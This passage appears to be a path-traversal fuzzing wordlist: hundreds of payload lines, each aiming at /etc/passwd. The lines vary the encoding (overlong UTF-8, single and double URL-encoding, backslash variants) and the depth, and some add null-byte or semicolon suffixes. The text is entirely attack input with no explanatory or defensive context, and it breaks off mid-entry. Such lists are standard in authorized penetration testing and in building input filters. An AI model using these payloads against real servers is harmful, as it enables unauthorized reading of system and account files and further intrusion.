\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd\r\n..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd\r\n..%%32%66/etc/passwd\r\n..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd\r\n%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd\r\n..%%35%63/etc/passwd\r\n..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd\r\n%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd\r\n%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd\r\n..//etc/passwd%00index.html\r\n../..//etc/passwd%00index.html\r\n../../..//etc/passwd%00index.html\r\n../../../..//etc/passwd%00index.html\r\n../../../../..//etc/passwd%00index.html\r\n../../../../../..//etc/passwd%00index.html\r\n../../../../../../..//etc/passwd%00index.html\r\n../../../../../../../..//etc/passwd%00index.html\r\n..%2f/etc/passwd%00index.html\r\n..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html\r\n%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html\r\n%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html\r\n..%252f/etc/passwd%00index.html\r\n..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html\r\n%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html\r\n%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html\r\n..\\/etc/passwd%00index.html\r\n..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\..\\..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\..\\..\\..\\..\\/etc/passwd%00index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd%00index.html\r\n..%5c/etc/passwd%00index.html\r\n..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html\r\n%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd%00index.html\r\n%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html\r\n..%255c/etc/passwd%00index.html\r\n..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html\r\n%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd%00index.html\r\n%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html\r\n..//etc/passwd;index.html\r\n../..//etc/passwd;index.html\r\n../../..//etc/passwd;index.html\r\n../../../..//etc/passwd;index.html\r\n../../../../..//etc/passwd;index.html\r\n../../../../../..//etc/passwd;index.html\r\n../../../../../../..//etc/passwd;index.html\r\n../../../../../../../..//etc/passwd;index.html\r\n..%2f/etc/passwd;index.html\r\n..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html\r\n%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html\r\n%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html\r\n..%252f/etc/passwd;index.html\r\n..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html\r\n%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html\r\n%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html\r\n..\\/etc/passwd;index.html\r\n..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\..\\..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\..\\..\\..\\..\\/etc/passwd;index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd;index.html\r\n..%5c/etc/passwd;index.html\r\n..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html\r\n%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd;index.html\r\n%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html\r\n..%255c/etc/passwd;index.html\r\n..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html\r\n%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252